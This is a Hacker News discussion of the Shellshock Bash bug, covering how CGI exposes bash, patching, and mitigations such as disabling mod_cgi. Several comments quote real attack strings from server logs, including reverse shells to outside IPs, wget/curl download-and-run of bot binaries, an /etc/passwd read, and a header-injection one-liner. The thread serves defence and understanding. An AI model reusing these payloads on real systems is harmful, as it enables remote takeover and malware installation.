
Everything you need to know about the Shellshock Bash bug - sjcsjc
http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
======
jgrahamc
This is being actively exploited. We (CloudFlare) put in place WAF rules to
block the exploit yesterday and I've been looking at the log files for the
blocking to see what's going on. Have been seeing things like:

    
    
        () { :;}; /bin/ping -c 1 198.x.x.x
        () { :;}; echo shellshock-scan > /dev/udp/example.com/1234
        () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1
        () { test;};/usr/bin/wget http://example.com/music/file.mp3 -O ~/cgi-bin/file.mp3
        () { :; }; /usr/bin/curl -A xxxx http://112.x.x.x:8011
        () { :; }; /usr/bin/wget http://115.x.x.x/api/file.txt
        () { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd
        () { :; }; /bin/bash -c "if [ $(/bin/uname -m | /bin/grep 64) ]; then /usr/bin/wget 82.x.x.x:1234/v64 -O /tmp/.osock; else /usr/bin/wget 82.x.x.x:1234/v -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &
    

If you are one of our (paying) customers the rules to block this exploit are
enabled automatically.

~~~
fiedzia
Out of curiosty: did it cause any problems with intended use of this shell
feature? Did anyone complained that it broke something that worked before?

~~~
TorKlingberg
I assume Cloudflare are filtering HTTP headers. I cannot imagine a valid
reason to pass in functions to bash in headers.

~~~
shangxiao
And functions with malicious shell script appended at that! ;)

------
sequoia
Read a bit about this because I didn't understand CGI. tl;dr version of what's
going on here, if I'm not mistaken (assuming apache/php for this example):

1\. Web server (apache) gets request to route to CGI script (PHP)

2\. Per the CGI spec, apache passes the request body to PHP as stdin & _sets
the HTTP headers as environment variables_ , so PHP can access them

3\. In the PHP script, `exec`/`passthru`/`shell_exec` etc. is called to do
something in the shell/on the system level. This spawns a new shell (which may
be bash)

4\. bash _interprets the environment variables set by apache_

The rub lies in step 4: when bash interprets an environment variable called
`HTTP_USER_AGENT` containing the value `() { :;}; /bin/ping -c 1 198.x.x.x` it
"gets confused" & interprets that first part (before the second semicolon) as
a function, _then executes the second part as well_

Hopefully this answers the "how does the exploit get from the browser to
bash?"

Further question: "If I do _not_ use exec/shell_exec/popen etc, am I still
vulnerable (just by virtue of using mod_php)?" AFAICT No, but I am not really
sure (I hope someone clears this up).

Additional note about PHP: disabling all these passthru type functions has
been recommended for years: [http://www.cyberciti.biz/faq/linux-unix-apache-
lighttpd-phpi...](http://www.cyberciti.biz/faq/linux-unix-apache-lighttpd-
phpini-disable-functions/)

~~~
PeterisP
Can someone who understands CGI enlighten me why (oh why) everyone treats #4
as the main problem instead of #2 ?

I mean, looking at it from an outside perspective, I can interpret #4 as
working as intendeed (attacker calls my shell with arbitrary parameters and,
naturally, my shell does arbitrary things controlled by the attacker), and #2
as a total WTF - why is apache passing arbitrary input data to global-scoped
(as in, affecting the subsequent bash invocations) environment variables; and
can it stop doing it? If not, why is apache passing this data without any
verification/sanitization/escaping, and can it stop doing it?

The fixes to the bash flaw seem like a band-aid - if some web service invokes
other programs that somehow get called with attacker-defined environment
variables, then it seems like a potential for future exploits on other targets
than bash; many other things will change their behavior depending on the
environment vars.

~~~
pstrateman
The flaw lies in the combination of 2/3.

The HTTP_ environment variables are user input.

The PHP (or whatever CGI script) should be sanitizing user input before using
it.

If this was PHP scripts doing something like this: system("/bin/sh
".$_GET['x']);

Nobody would be freaking out... because that's just stupid.

~~~
PeterisP
In your opinion, what is the difference between php blindly passing
unsanitized user input onwards to bash, and apache blindly passing unsanitized
user input onwards to php?

Furthermore, in the sample attacks the php scripts _don 't_ 'use' that user
input in any way; bash gets them because, well, it shares the same environment
and its variables. If you'd want a php script 'sanitizing' those variables
then it would mean checking for any possible HTTP_ environment variables and
explicitly altering them even if the script doesn't recognize them - which
seems ridiculous as well.

~~~
pstrateman
PHP is specifically designed to deal with unsanitized user input.

bash is not, seems pretty obvious

------
f-
Since the post is relatively non-technical, I'd like to underscore that there
are substantial concerns with the original and the followup patch, because
with or without it, the underlying bash code parser is still exposed to the
Internet. Nobody has posted an RCE vector that would be universally bad for
the patched version, but several people have already identified "hmm, that's
unexpected" types of global side effects when attacker-controlled strings are
parsed as functions by bash. More is likely to come.

As of today, based on our conversations on oss-security, there is a third,
unofficial patch that takes a much saner approach of isolating exported
functions in a distinct namespace:

[http://www.openwall.com/lists/oss-
security/2014/09/25/13](http://www.openwall.com/lists/oss-
security/2014/09/25/13)

Especially in high-value or high-risk scenarios, you may want to give it a
try. And if you're interested in the reasons why the original patch is
problematic, check out:

[http://lcamtuf.blogspot.com/2014/09/quick-notes-about-
bash-b...](http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-
impact.html)

~~~
jtheory
The idea of using _bash_ to do anything with input coming from the internet is
asking for trouble, really... It's just a flaw with how CGI works generally,
and how PHP etc. encourage you to build webapps.

It's the same principle as SQL-injection attacks (and the flaw is there for
the same reason! It's the obvious quick solution to just query mysql with
"select * from users where username = " . PARAMS['username']....

But this is far more dangerous -- injecting malicious SQL can reveal data, or
break things. Injecting malicious bash commands can reconfigure your server to
do _whatever they like_.

~~~
nostrademons
I've worked with sysadmins that insisted that CGI be disabled for exactly this
reason. If we wanted a dynamic website we needed to use mod_perl or mod_php
(it was back in the early 2000s, Rails/Django/nginx hadn't yet been invented).
It wasn't a perfect solution - both of them still had plenty of security
vulnerabilities - but it cut down the attack surface significantly.

Now I understand what all the security people who said "never use system().
Never, ever" meant.

------
donatj
So trying to understand the issue here, is this actually a bash thing or a
problem with the web server forwarding commands to bash? I don't understand
why bash would be listening to network traffic on its own.

~~~
dkarl
That was my first question as well. The behavior sounds like exactly the kind
of magical weirdness you get with shells. Your question is asked and answered
here: [https://stackoverflow.com/questions/26022248/is-the-
behavior...](https://stackoverflow.com/questions/26022248/is-the-behavior-
behind-this-vulnerability-documented-or-at-all-intentional) The answer given
there is that the behavior is NOT a documented feature; it's a side-effect of
how bash implements inherited functions.

I was also very confused about why a web server would need to store HTTP
headers in environment variables. Why would a mature piece of software like
Apache do something so hackish? The explanation turns out to be very simple:
it's how CGI works. Headers are passed to the CGI script as environment
variables. If you don't do it that way, you don't support CGI.

There's one thing that still confuses me, though: why would a CGI
implementation use the shell to set environment variables? Why would you use a
complex, idiosyncratic piece of software that comes in many different flavors
instead of just using the C setenv function?

~~~
icedchai
Apache isn't setting CGI variables _using_ the shell. It may _call_ a shell
(indirectly or directly) when _executing_ the CGI script.

~~~
blacksqr
So does that mean that running a bash script under cgi doesn't inherently
expose you to the vulnerability, you're vulnerable only if the bash script
called invokes a shell in a sub-process?

~~~
xorcist
If you're running a bash script as a cgi script in your web server, you're
already vulnerable in half a dozen ways. Nobody does that.

If you're running a php/perl/python/ruby script as a cgi script in your web
server, and that script calls system() or some variant thereof (backticks in
perl, os.system in python), then you're vulnerable to this.

Not many people does that, but those who do won't be things you think of as
web applications. They're going to be web control panels you installed and
forgot about, or cheap home routers that nobody knows who made the firmware
to.

------
philh
Skimming this post, it appears to only reference CVE-2014-6271 and not
CVE-2014-7169, so probably not 'everything you need to know'.

(Searching for '=>' doesn't show anything, which I would expect it to if -7169
was mentioned.)

~~~
avz
See
[https://news.ycombinator.com/item?id=8365158](https://news.ycombinator.com/item?id=8365158)

------
nacnud
Unless I've missed something, could some benevolent person use the bug to
cause remote systems to run something like "sudo apt-get update && sudo apt-
get install bash", to patch the vulnerability automatically? (it makes lots of
assumptions, but surely it's better to have some patched systems as a result.)

~~~
metaphorm
and how would the "benign attacker" know the super user password that sudo
will ask for? its not like this is a logged in ssh session.

~~~
jtheory
sudo can be set up lots of different ways -- including such that there's no
password needed.

> its not like this is a logged in ssh session

That's not correct -- whatever user is executing your CGI scripts is the
"logged-in" user in bash, right?

Obviously that user _should_ be quite locked down, and should not be allowed
to run sudo at all, let alone without a password... but there are so many
amateur server admins out there that I imagine there are quite a few servers
where this is a serious problem (with or without sudo access enabled for the
executing user).

------
Animats
If you're running Apache on Linux/UNIX, and don't absolutely need CGI, it's
straightforward to turn it off in Apache.

Put a "#" in front of

LoadModule cgi_module modules/mod_cgi.so

in /etc/httpd/conf/httpd.conf. This prevents the code that runs CGI scripts
from even being loaded with Apache, and will totally disable all CGI scripts.
Apache is willing to execute CGI scripts from far too many directories, and
many Linux distros have some default CGI scripts lying around.

This will break CPanel, but not non-CGI admin tools such as Webmin. I can't
say anything about PHP; we don't use it.

People are out there probing. This is from an Apache server log today from a
dedicated server I run.

89.207.135.125 - - [24/Sep/2014:23:08:56 -0700] "GET /cgi-
sys/defaultwebpage.cgi HTTP/1.0" 301 338 "-" "() { :;}; /bin/ping -c 1
198.101.206.138"

The source is on "i3d.net", which is a hosting service in Rotterdam NL. So
someone is running probes from something bigger than a desktop. I sent their
support people a note.

------
neuralk
For Windows devs: remember that some tools and libraries come with bash (and
some may not even tell you explicitly).

For instance, msysgit has the vulnerability[1]:

    
    
      $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
      vulnerable
      this is a test
    
    

[1] from the comments on the blog in the OP

~~~
ni_nad
Can confirm the same for Github for Windows (msysgit again), Chef for Windows
(embedded bash) as well as Cygwin's bash

------
idorosen
For Mac OS X, until Apple releases a software update, I've applied the
original CVE-2014-6271 (shellshock) patch and am going to apply the
CVE-2014-7169 patch as well once it passes review. Repository and instructions
to reproduce without trusting me are located here:

[https://github.com/ido/macosx-bash-92-shellshock-
patched](https://github.com/ido/macosx-bash-92-shellshock-patched)

~~~
rsync
why not simply chmod 0000 `which bash` ?

~~~
Zancarius
The problem is that some utilities rely heavily on bashisms such that they're
unlikely to work with dash or other POSIX-compliant sh-replacements. As an
Arch user, just off the top of my head, I can think of yaourt (AUR helper) and
apparently the shell script for invoking gradle as both reliant on such
behavior. The latter may not affect everyone, and after running into just
those two samples today, I can only imagine what else may be affected.

The best solution I could think of as a work around is to install dash,
replace the /bin/sh symlink pointing to dash, and then chown/chmod bash so
that only those specific users who need to use it can use it. This isn't
_perfect_ , because it could still be affected by web services that run as
users that would then have access to bash via their member group(s), or
because a web service might rely on another application that itself requires
specific bashisms in order to function.

This is why abandoning correctness for convenience can be dangerous.

------
Animats
A question worth asking: how long has this been exploited? If you have years
of Apache logs, go back through them with "grep" and look for attempts to
exploit this vulnerability. Report the earliest date on which you find a hit.
Thanks.

~~~
tlrobinson
It would be really nice if log aggregation services (Splunk, Loggly,
Papertrail, etc) would do this, notify affected customers, and publicly
release anonymized information about it.

------
mrfusion
So if your server is set up with limited permissions for the apache-user, are
you still at risk?

I don't think the apache-user if properly restricted can write to directories,
or even read most of the system files?

~~~
acdha
Things like that lower the risk: run everything as a low-privilege account
(better, not even www-data but per-site), chroot()-ed, etc. and certain
classes of attack will either fail or at least be easier to clean up.

The problem with all of this is that it assumes that you don't have privilege
escalation vulnerabilities on the local system, which is often not the case
unless non-trivial effort has gone into hardening the server – e.g. all of
that privilege separation is a waste if someone sledgehammer-ed a chmod 777
into a script rather than setting the appropriate ownership and permissions or
someone delayed a kernel update because they didn't want the downtime and
“knew” that only trusted code ran on that system.

------
jamroom
From the article:

"Of course one means of mitigating this particular attack vector is simply to
disable any CGI functionality that makes calls to a shell"

If you're on Ubuntu:

    
    
        a2dismod cgi
        service apache2 restart
    

If you're NOT running any CGI scripts this will disable CGI support in Apache.
Not sure if that takes care of things 100%, but might be helpful.

~~~
billadoid
If you're on Ubuntu or Debian your CGI scripts will probably use dash, not
bash.

~~~
muyuu
Debian yes, Ubuntu's default is bash. So is Mint's.

~~~
jewel
On Ubuntu, /bin/sh is a symlink to dash. /bin/sh is what system() will invoke.

~~~
muyuu
It is, however when you create a user its default shell is bash unless
otherwise specified.

~~~
jewel
Of course, but what's the exploit vector in that case?

~~~
muyuu
That the users created for Apache, database daemons, etc, default to bash for
cgi.

~~~
Zancarius
The passwd file contains the _login shell_ configured for that user. Operating
in the context of a daemon for most sane applications, this configuration
doesn't (or shouldn't?) matter unless the user logs in. [1]

For Apache, I believe /bin/sh (or the shell it points to) is what's at issue
here. [2]

[1] [http://unix.stackexchange.com/questions/38175/difference-
bet...](http://unix.stackexchange.com/questions/38175/difference-between-
login-shell-and-non-login-shell)

[2] [http://security.stackexchange.com/questions/68146/how-do-
i-s...](http://security.stackexchange.com/questions/68146/how-do-i-secure-
apache-against-the-bash-shellshock-vulnerability)

(This is also discussed earlier in the thread.)

~~~
muyuu
Apache uses APR, which is a separate package/set of packages to the webserver
proper. Depends on the distro how this works exactly. See for instance
[https://launchpad.net/ubuntu/precise/+source/apr-
util](https://launchpad.net/ubuntu/precise/+source/apr-util)

Unless the distro changes it, APR defines SHELL_PATH as a macro pointing to
/bin/sh (note this isn't the homonym env variable, that would be a serious
problem if it was since shellshock allows setting env variables by other means
that are very public by now).

In a system I have access to, the installation procedure for some servers (not
webserver necessarily) includes creating users with a full environment to be
able to issue commands for these servers at a higher privilege. At the
creation of these users, Ubuntu Server assigned them bash as their shell. I
wonder if they're attackable at their public ports, but I haven't bothered
trying to find attacking vectors since they were in production and the
sysadmin got rid of bash as soon as he could. Not giving much detail here
since I assume there will be plenty of compromised servers in the wild right
now, including DB servers, proxies, etc.

------
diltonm
Don't forget to update any Docker instances of OS's. My brother just
challenged me and I'd assumed my Docker Ubuntu instances would be updated
automatically by updating the main Ubuntu OS but that was not the case. In my
defense I'm still new to Docker.

I also used this to list my containers:

    
    
      docker ps -la -n=100
    

And removed them all, then listed images:

    
    
      docker images
    

And removed them and then ran this to get the latest ubuntu installed from
docker:

    
    
      docker run -i -t ubuntu /bin/bash
    

Then when inside the container ran:

    
    
      env X="() { :;} ; echo busted" `which bash` -c "echo completed"
    

The new docker image of ubuntu is still vulnerable.

Edit: Updating the container then committing it (Docker terminology) should
ensure that container stays updated, though any new runs creating new
containers would continue to be vulnerable I suspect until Docker patches them
or whomever would be responsible to do so.

------
therealmarv
Does anybody has steps what to do really as a sysadmin? Do I only need to
install newest bash (on Linux systems) or do I also need to restart daemons
like nginx/apache etc. ?

~~~
sp332
The vulnerability only affects bash when it is parsing environment variables,
when it is just starting. So if a process is already running, it's not
vulnerable and you don't have to restart it. You should definitely apply the
patch from Wednesday, but be aware there is a related vulnerability that has
no patch yet.

Add the configuration from this page
[https://access.redhat.com/solutions/1207723](https://access.redhat.com/solutions/1207723)
to your Apache or nginx config to deny malicious HTTP requests.

~~~
windsurfer
This isn't always true. Frequently sub-shells are started without people
really knowing, like with backticks or parenthesis.

~~~
sp332
But the sub-shell that gets started will use the new binary, which will be
safe.

------
jeletonskelly
The only suitable logo for this vulnerability:
[http://img3.wikia.nocookie.net/__cb20080920183129/nintendo/e...](http://img3.wikia.nocookie.net/__cb20080920183129/nintendo/en/images/3/33/BlueShell.jpg)

~~~
GotAnyMegadeth
I wonder which will cause a greater net suffering to mankind?

------
wodow
Is there a (low volume) mailing list that would have alerted me to both this
and Heartbleed?

~~~
justincormack
Your OS vendors security list.

~~~
wodow
Well, I mostly use Debian and Arch:

Debian isn't low volume: [https://lists.debian.org/debian-security-
announce/2014/threa...](https://lists.debian.org/debian-security-
announce/2014/threads.html)

Arch isn't high volume enough(!)
[https://mailman.archlinux.org/pipermail/arch-
security/](https://mailman.archlinux.org/pipermail/arch-security/)

Arch recommends the oss-security list, which is all too high volume
[http://www.openwall.com/lists/oss-
security/2014/09/](http://www.openwall.com/lists/oss-security/2014/09/)

~~~
justincormack
I guess you want to filter eg the Debian list by the packages you have
installed ideally. An API to the same info would be nice.

~~~
wodow
Or filter the NVD feeds from
[http://nvd.nist.gov/download.cfm](http://nvd.nist.gov/download.cfm) ?

------
danso
In another thread, I saw that this was an easy check to see if your bash was
affected:

    
    
         env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"
    

If you get "busted" back, then you're affected...which is what I get with Mac
OS X 10.9...however, when I try it on an Ubuntu server (14.x) that hasn't been
patched in awhile...I don't get the error...Er, why is that? I thought this
pretty much affected every bash since 25 years ago?

(Someone else in this thread mentioned that Ubuntu uses dash...so...all modern
Ubuntu servers are OK?)

~~~
spacehunt
Debian-based systems use dash instead of bash for /bin/sh. But if you have
scripts that explicitly use bash, you are still at risk.

~~~
djengineerllc
I tried this and it didn't work on my Ubuntu machine, it echoed "stuff". env
X="() { :;} ; echo busted" /bin/sh -c "echo stuff"

But then I tried this command and it echoed "vulnerable". env var='() { ignore
this;}; echo vulnerable' bash -c /bin/true

------
mrfusion
I see how Apache passes request information through environment variables but
I don't see how bash comes into play in typical CGI.

Is anyone up for educating me?

I see http request -> apache -> env variables -> php

What am I missing?

~~~
diydsp
I think I have the same question.. why is this called a "bash" bug? Is it not
a webserver bug? Why does the webserver send data to bash through environment
variables? Is there no better way to do it?

~~~
diydsp
Wow, thanks for the downvotes, everyone!

I wonder how that is justified, since my _question_ generated 10 informative
replies, five levels deep.

Does anyone dare to tell me why they downvoted my comment?

~~~
mturmon
You are correct, you asked an innocent and to-the-point question.

------
PeterWhittaker
Folks, for what it's worth, here is a management briefing I wrote this
morning. Please feel free to re-use, but please do give proper attribution.
Please do comment and correct as appropriate.

 _Summary:_ Briefing for management on activities to minimize impacts of the
"shellshock" computer vulnerability.

 _Status:_ Testing underway. Initial appraisals are that public-facing systems
are likely not subject to shellshock. NOTE: The situation is fluid, due to the
nature of the vulnerability. Personnel are also reaching out to hosting
providers to assess the status of intervening systems.

 _What is it?_ A vulnerability in a command interpreter found on the vast
majority of Linux and UNIX systems, including web servers, development
machines, routers, firewalls, etc. The vulnerability could allow an anonymous
attacker to execute arbitrary commands remotely, and to obtain the results of
these commands via their browser. The security community has nicknamed the
vulnerability "shellshock" since it affects computer command interpreters
known as shells.

 _How does it work?_ Command interpreters, or "shells", are the computer
components that allow users to type and execute computer commands. Anytime a
user works in a terminal window, they are using a command interpreter - think
of the DOS command prompt. Some GUI applications, especially administrative
applications, are in fact just graphical interfaces to command interpreters.
The most common command interpreter on Linux and UNIX is known as the "bash
shell". Within the last several days, security researchers discovered that a
serious vulnerability has been present in the vast majority of instances of
bash for the last twenty years. This vulnerability allows an attacker with
access to a bash shell to execute arbitrary commands. Because many web servers
use system command interpreters to fulfill user requests, attackers need not
have physical access to a system: The ability to issue web requests, using
their browser or commonly-available command line tools, may be enough.

 _How bad could it be?_ Very, very bad. The vulnerability may exist on the
vast majority of Linux and UNIX systems shipped over the last 20 years,
including web servers, development machines, routers, firewalls, other network
appliances, printers, Mac OSX computers, Android phones, and possibly iPhones
(note: It has yet to be established that smartphones are affected, but given
that Android and iOS are variants of Linus and UNIX, respectively, it would be
premature to exclude them). Furthermore, many such systems have web-based
administrative interfaces: While many of these machines do not provide a "web
server" in the sense of a server providing content of interest to the casual
or "normal" user, many do provide web-based interfaces for diagnotics and
administration. Any such system that provides dynamic content using system
utilities may be vulnerable.

 _What is the primary risk?_ There are two, data loss and system modification.
By allowing an attacker to execute arbitrary commands, the shellshock
vulnerability may allow the attacker to both obtain data from a system and to
make changes to system configuration. There is also a third risk, that of
using affected systems to launch attacks against other systems, so-called
"reflector" attacks: The arbitrary command specified by the attacker could be
to direct a network utility against a third machine.

 _How easy is it to detect the vulnerability?_ Surprising easily: A single
command executed using ubiquitous system tools will reveal whether any
particular web device or web server is vulnerable.

 _What are we doing?_ Technical personnel are using these commands to test all
web servers and other devices we manage and are working with hosting providers
to ensure that all devices upon which we depend have been tested. When devices
are determined to be vulnerable, a determination is made whether they should
be left alone (e.g., if they are not public facing and patches are either not
yet available or would be disruptive at this time, or if there are other
mitigations or safeguards in place), patched (e.g., if patches are available
and are low impact), or turned off (e.g., if patches are not available, risk
is high, and the service is not mandate critical).

Updates to this briefing will provided as the situation develops.

~~~
zorbo
> Initial appraisals are that public-facing systems are likely not subject to
> shellshock.

All the managers I know will stop reading after this, sit back and think
"aaah, those silly techies. Worrying about nothing".

I gave exactly the opposite advice: We should assume every public and non-
public facing system is vulnerable (many were). I'd rather cause a big stinky
scare and be proven wrong than downplaying the issue and being proven wrong..
the hard way.

You probably had a good reason for saying this to your organisation, but it's
not something that other people should blindly re-use for their own purposes.

~~~
PeterWhittaker
Yes, I did have a good reason: Our initial tests indicate that the
organization is not vulnerable.

To be fair to you and to me, I can understand your take on what I posted but
what I posted was redacted to remove organization-identifying information. A
better redaction would perhaps have been _Our initial scans and appraisals are
that our public-facing systems are likely not subject to shellshock_.

------
thyrsus
Is there a way of preventing functions from being imported from the
environment, but still allowing some variables in?

My experiments with

#!/usr/bin/env -i sh

and

#!/usr/bin/env - sh

...have not obtained what I'm after.

The problem being that functions take precedence over names in the file
system, so

    
    
        bash-4.2$ env '/bin/cp=() { echo oops;}' /bin/sh -c '/bin/cp /tmp/foo /tmp/bar'
        oops

~~~
AgentME
If an attacker can fully control the name of an injected environment variable,
then you've lost already. The attacker can override LD_PRELOAD, which is an
environment variable honored by the Linux kernel itself.

~~~
thyrsus
LD_PRELOAD is not honored for setuid executables, but you're right, we don't
want to go there.

------
monort
On Linux dhclient-script is written in bash. If it is vulnerable, then
connecting to open wifi can be exploitable via rogue DHCP server.

------
ck2
Keep an eye on the patches directory for whatever version you use:

[http://ftp.gnu.org/pub/gnu/bash/](http://ftp.gnu.org/pub/gnu/bash/)

Just had to manually patch a CentOS4 legacy system.

What I find interesting is the patch has been around since the 16th, what took
so long and what finally lit a fire under the mainstream *nix releases?

~~~
embolalia
>CentOS4 legacy system

Jesus. That's been out of support for well over 2 years. I can't imagine this
is the only problem it has. I'm curious: what's keeping the organization from
upgrading it?

~~~
zorpner
Heh, you should see some of the systems that orgs I work with still have
running. Just checked on one of my favorites:

    
    
      $ uptime
       07:26:20 up 3280 days, 16:23,  2 users,  load average: 0.00, 0.00, 0.00
      $ cat /etc/issue
      Debian GNU/Linux 3.1 \n \l
    

This one doesn't even have the excuse of running a piece of lab equipment (I
saw such a system recently running Win95 _without_ OSR1, so it doesn't even
have USB support. They move data around with ZIP disks!).

~~~
jfb
Attached via the 25-pin parallel port, no doubt?

------
Ayaz
I saw a couple of these hurled against my simple site:

    
    
        "() { :;}; /bin/bash -c \x22wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\x22"

------
diyorgasms
You can tail your access.log and grep the expression "\\(?\s ___ \s _\\)?\s_
{|cgi" to get an idea if someone is trying to exploit your webserver. The cgi
part will return a lot of false positives, but if you cannot disable cgi, you
might as well track it being requested.

~~~
bodyfour
That will only find either clumsy exploit attempts or whitehat scans that are
not trying to hide themselves.

CGI sends most headers through to the script as environment variables (i.e. a
Foobar: header will turn into $HTTP_FOOBAR) so at attacker can just pick a
header name that isn't likely to be logged.

------
drdaeman
Had anyone suggested and/or implemented something like building a tiny wrapper
for bash that would clean environment and then execve("/bin/bash.vulnerable",
argv, cleaned_envp)?

~~~
sounds
In the red hat links (already in the comments here) there is an LD_PRELOAD
file which cleans the environment for _all_ your processes.

------
Igglyboo
Can anyone explain what I should do on OSX?

I've heard that replacing /bin/bash with a newer version of bash from homebrew
or even zsh will work but is that going to break anything that assumes 3.2
bash??

~~~
jpitz
I've been running upgraded bash - and more recently, just zsh, in OSX for
years. It has never broken anything here.

I think the risk of breaking something is outweighed by the risk of exploit.

~~~
justincormack
have you pointed /bin/sh and /bin/bash at it?

------
spilk
I've seen a lot of talk regarding the impact on embedded devices, but how many
of these actually run GNU Bash? I can't think of many embedded devices that
don't use Busybox instead.

~~~
drzaiusapelord
>I can't think of many embedded devices that don't use Busybox instead.

What about all these shitty wireless routers out there? I think in the past
they were QNX-based but they've long moved to being linux based. We know
popular projects like dd-wrt and pfsense are probably okay (ash instead of
bash), but what about the thousands of others? My own router is supplied by
AT&T for its u-verse service. God knows what its running. Or all the NAS
devices out there and load balancers, etc.

I guess we'll find out when the whitehats are done scanning the entire
internet for vulnerable hosts.

~~~
spilk
I have a higher-end (albeit still consumer-level) ASUS wireless router that
uses Busybox. I can't imagine that cheaper, lower-end models would be using
full GNU bash instead.

------
geeknik
I've only seen 2 requests in my logs:

access.log:89.207.135.125 - - [25/Sep/2014:06:28:08 +0000] "GET /cgi-
sys/defaultwebpage.cgi HTTP/1.0" 404 447 "-" "() { :;}; /bin/ping -c 1
198.101.206.138"

access.log:202.38.120.248 - - [26/Sep/2014:13:38:10 +0000] "GET / HTTP/1.0"
200 473 "-" "() { :;}; /bin/bash -c '/bin/bash -i >&
/dev/tcp/195.225.34.101/3333 0>&1'"

------
txutxu
With only static content (all logic implemented via cron).

    
    
        $ grep nginx /etc/passwd
    
        nginx:x:105:111:nginx user,,,:/nonexistent:/bin/false
    

And the only other service listening in this machine is SSH, but it's limited
by iptables only to my home IP.

I think I'm safe. Now installing updates patches bash.

Anyway, I've seen that syntax before (I'm talking of years here), on #bash in
freenode.

Simply nobody did apply this from a security view point in the channel...

------
therealmarv
When comparing security warning from RedHat
[https://access.redhat.com/solutions/1207723](https://access.redhat.com/solutions/1207723)
vs Ubuntu
[http://www.ubuntu.com/usn/usn-2362-1/](http://www.ubuntu.com/usn/usn-2362-1/)
the RedHat one wants you to run /sbin/ldconfig or reboot your machine. Why
Ubuntu does not recommend this? They do ldconfig automatically?

~~~
AgentME
The vulnerability only exists during the startup of a bash process. Updating
bash is enough. Bash processes that are already running are past the point
where they could be exploited. Future calls to bash will get the updated
version. No services need to be restarted to apply the fix.

------
earlz
Has anyone constructed this exploit as a simple `wget` command?

~~~
fiedzia
wget --header='Referer: () { :;}; touch /tmp/vulnerable ' www.example.com

~~~
earlz
Is there some easy way of detecting a site you don't control is vulnerable
without bringing it down?

~~~
nkurz
Yes, you can ask it to ping an address you control and record where the pings
come from.

------
muyuu
Either of these will typically show you your running terminal:

ps -p $$

echo $0 (command name that was used to invoke the shell)

Not reliable: echo $SHELL (preferred shell for the user, not necessarily what
is running)

Also note that you may want to remove/fix bash to make sure it doesn't get run
by something else. A CGI script may run it despite you changing your default
shell to something else.

------
weavie
I bet Microsoft are enjoying the fact that it is Linux that seems to have all
the security vulnerabilities these days!

~~~
krapp
On the one hand, if this had been in Windows, no one in the public would have
been able to stumble across it, though you would expect them to be paying
rooms full of engineers to make sure that's never necessary (and yet stuff
happens.)

On the other hand, despite the premise of open source that 'many eyes make all
bugs shallow', the amount of code in the wild and the complexity of it (and
the diversity of implementation languages) has pretty much guaranteed that
there's more code than possible coverage.

No one has to come up with clever marketing for Microsoft exploits because
everyone expects there to be tons of them, given the level of complexity, and
that Microsoft will push patches for them, because it affects their bottom
line. Meanwhile, it seems in the open source world, you need PR campaigns to
goad the community into due diligence.

~~~
drzaiusapelord
Considering most exploits are found via fuzzing tools, I think your assumption
is pretty far away from reality.

If people could casually look at code and see vulnerabilities, then we
wouldn't have any.

Also: MS Shared Source initiative

~~~
krapp
But people can casually look at code and see vulnerabilities, any time they
want.

Although your point about the methods of exploits changing the dynamic is
valid.

>Also: MS Shared Source initiative

Fair point.

~~~
freehunter
>But people can casually look at code and see vulnerabilities, any time they
want.

They could, but they don't. Same way I can look at the sky and see an
asteroid. Possible? Sure. Likely? Not without some pretty advanced tools or a
hell of a lot of luck.

------
xd
There are a lot of comments below stating mod_php is just as vulnerable as
mod_cgi. This is NOT the case, mod_php is unaffected by shellshock.

Edit: Just to be clear, even using system / exec etc is not affected as the
environment variables are not passed along to the sub process by the apache
sapi.

------
milankragujevic
Here is a simple tool that you can use to check if your website is vulnerable:
[http://milankragujevic.com/projects/shellshock/](http://milankragujevic.com/projects/shellshock/)

------
cyphunk
I seem to remember somewhere on Show HN a service that lets one execute a
command to populate an online pastebin. Something like: `cat | nc service.com
9199`. Now however I cannot find this service. Anyone know where?

------
arielby
ISC DHCP Client has a check_option_values function (at the end of dhclient.c),
which (if it is properly used, I don't understand the surrounding code enough)
should prevent this from being exploited.

------
Glyptodon
[http://jaxbot.me/articles/cases-where-bash-shellshock-is-
saf...](http://jaxbot.me/articles/cases-where-bash-shellshock-is-
safe-09-25-2014)

Nginx + fpm not vulnerable?

------
magpi3
Can the bug be avoided just by setting the default shell for your webserver's
user (generally www-data in debian) to /bin/dash? At least from the
perspective of Apache users?

------
AYBABTME
I'm confused by this vuln report and all the attention.

If I don't run any CGI thing and I don't expose SSH without pubkey and only to
trusted users, what is there for me to worry about?

~~~
teraflop
The CGI and SSH attack vectors are getting a lot of attention because they are
so _trivially_ exploitable. But as someone (I believe tptacek) put it in
another thread, this bug has one of the biggest potential attack surfaces in
history. _Anything_ that sets any environment variable to an untrusted value
and then invokes bash is vulnerable. For example, on some systems, simply
connecting to an attacker-controlled network is enough to cause code execution
through the DHCP client.

If you choose not to upgrade bash, you are trusting that none of the code on
your system uses bash in this way. It's extremely unlikely that the vectors
that have been publicized so far are the only major ones.

~~~
AYBABTME
Alright so necessary conditions are "sets env variables" \+ "invoke bash".
That clarifies, thanks.

I'm not advocating not updating, I'm just trying to understand what to do with
this info for say, my hosted project that _doesn't set env vars nor invoke
bash_.

------
peterwwillis
There's no way that this bug could affect even a fraction of the number of
users Heartbleed did. The number of affected machines is probably 1/10000th
that of heartbleed, and heartbleed exposed hundreds of millions of users, the
SSL keys of servers, etc to attack. The fact that legacy CGI scripts are the
only attack vector being discussed right now is proof enough of how outdated
this bug is.

Keep in mind that hackers constantly take advantage of old exploitable legacy
software in servers around the world to get a shell, and nobody freaks out
about it.

~~~
r1ch
cPanel is probably the most popular reseller hosting software for shared web
hosting and it relies on CGI in all kinds of places. That alone provides a
huge amount of exploitable hosts - I tried to Shodan it (port 2082) but it
seems down right now.

Since cPanel is designed for people without system administration experience,
it's unlikely they will be patched in a timely manner too. All the CGI scripts
are in known static locations, so I wouldn't be surprised to see a worm that
targets cPanel servers very soon.

This is definitely not going to affect just a few legacy CGI sites.

~~~
ck2
cPanel uses CentOS and does system upgrades ala yum update.

Dunno if that is on by default or not though.

